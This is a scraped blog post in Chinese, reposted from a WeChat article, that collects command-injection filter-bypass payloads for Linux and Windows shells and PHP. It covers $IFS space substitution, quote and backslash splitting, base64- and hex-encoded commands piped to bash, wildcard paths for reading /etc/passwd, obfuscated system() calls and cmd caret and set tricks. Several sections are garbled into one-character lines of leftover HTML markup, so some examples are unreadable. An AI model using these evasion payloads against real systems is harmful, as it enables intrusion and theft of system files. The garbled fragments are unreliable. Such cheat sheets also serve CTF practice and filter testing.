<link rel="stylesheet" href="https://csdnimg.cn/release/phoenix/template/css/ck_htmledit_views-211130ba7a.css">
<div id="content_views" class="markdown_views prism-atom-one-dark">
<!-- flowchart 箭头图标 勿删 -->
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
<path stroke-linecap="round" d="M5,0 0,2.5 5,5z" id="raphael-marker-block" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></path>
</svg>
<h2><a name="t0"></a><a id="_0"></a>命令执行绕过总结</h2>
Linux篇
命令拼接
a=who
b=ami
$a$b //输出whoami
- 1
- 2
- 3
常用字符使用
& 表示将任务置于后台执行
; 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
&& 只有在 && 左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行。
|| 只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。
%0a
%0d
| (管道符) |表示管道,上一条命令的输出,作为下一条命令的参数
- 1
- 2
- 3
- 4
- 5
- 6
- 7
利用环境变量
可以通过截取不同的字符执行命令
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
- 1
- 2
- 3
- 4
空格绕过
在实战和CTF中都有遇到过
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
绕过关键字
wh\o\ami //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh #base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash #base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//
∗
<
/
s
p
a
n
>
和
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
*</span>和<span class="token variable">
∗</span>和<spanclass="tokenvariable">@,
x
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
x
代
表
1
−
9
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
,
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
x</span><span class="token punctuation">(</span>x 代表 1-9<span class="token punctuation">)</span>,<span class="token variable">
x</span><spanclass="tokenpunctuation">(</span>x代表1−9<spanclass="tokenpunctuation">)</span>,<spanclass="tokenvariable">{x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh
1
o
a
m
i
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
f
u
n
c
t
i
o
n
"
>
w
h
o
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
1oami</span> <span class="token function">who</span><span class="token variable">
1oami</span><spanclass="tokenfunction">who</span><spanclass="tokenvariable">@ami
whoa$*mi
#cat被过滤时,还可以考虑使用tac命令
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
骚操作
//字符夹命令
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间
//命令夹字符
w</span>f1hgb<span class="token variable">
ho</span>f1hgb<span class="token variable">
am</span>f1hgb<span class="token variable">
i //反引号的作用是把括起来的字符当做命令执行
w</span>\f1hgb<span class="token variable">
ho</span>\f1hgb<span class="token variable">
am</span>\f1hgb<span class="token variable">
i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh
(
<
/
s
p
a
n
>
f
1
h
g
b
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
)
<
/
s
p
a
n
>
<
/
s
p
a
n
>
o
a
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
(</span>f1hgb<span class="token variable">)</span></span>oa<span class="token variable"><span class="token variable">
(</span>f1hgb<spanclass="tokenvariable">)</span></span>oa<spanclass="tokenvariable"><spanclass="tokenvariable">(f1hgb)mi //和上面的差不多,都说执行和拼接
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
上述的是既可以绕过命令,又可以绕过文件名的,下述的则是只能用来绕过文件名的:
cat fl[abc]g.php //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行
//正则
利用正则:比如要读取etc/passwd
cat /???/???
cat /???/pass*
cat /etc$u/passwd
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
命令执行函数绕过
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
windows篇
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行
- 1
- 2
- 3
- 4
- 5
可以加任意个"但不能同时连续加2个^ 符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
set命令
知识点:用两个 % 括起来的变量,会输出变量的值
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
- 1
- 2
- 3
- 4
切割字符
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行
set a=abc qwe //先自定义
who%a:~0,1%mi //然后截断整理后就变成了:whoami,所以命令执行成功
- 1
- 2
- 3
- 4
- 5
- 6
- 7
注:上述可以使用减号,和python的切割效果差不多
逻辑运算符
|:可以连接命令,但只会执行后面的那条
||:只有前面的命令失败,才会执行后面的语句
&:前面的命令可以成功也可以失败,都会执行后面的命令
&&:必须两条命令都为真才可以全部执行。如果第一条语句错误,整个命令都不执行。如果第一条语句对,第二条错误,就只执行第一条
whoami | ping www.baidu.com
whoami || ping www.baidu.com
qwe & ping www.baidu.com
qwe && ping www.baidu.com
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
文章来源https://mp.weixin.qq.com/s/6E2fXnuHkBt_fgRZL6z7bA
</div><div data-report-view="{"mod":"1585297308_001","dest":"https://blog.youkuaiyun.com/qq_44110340/article/details/107532395","extend1":"pc","ab":"new"}"><div></div></div>
<link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-60ecaf1f42.css" rel="stylesheet">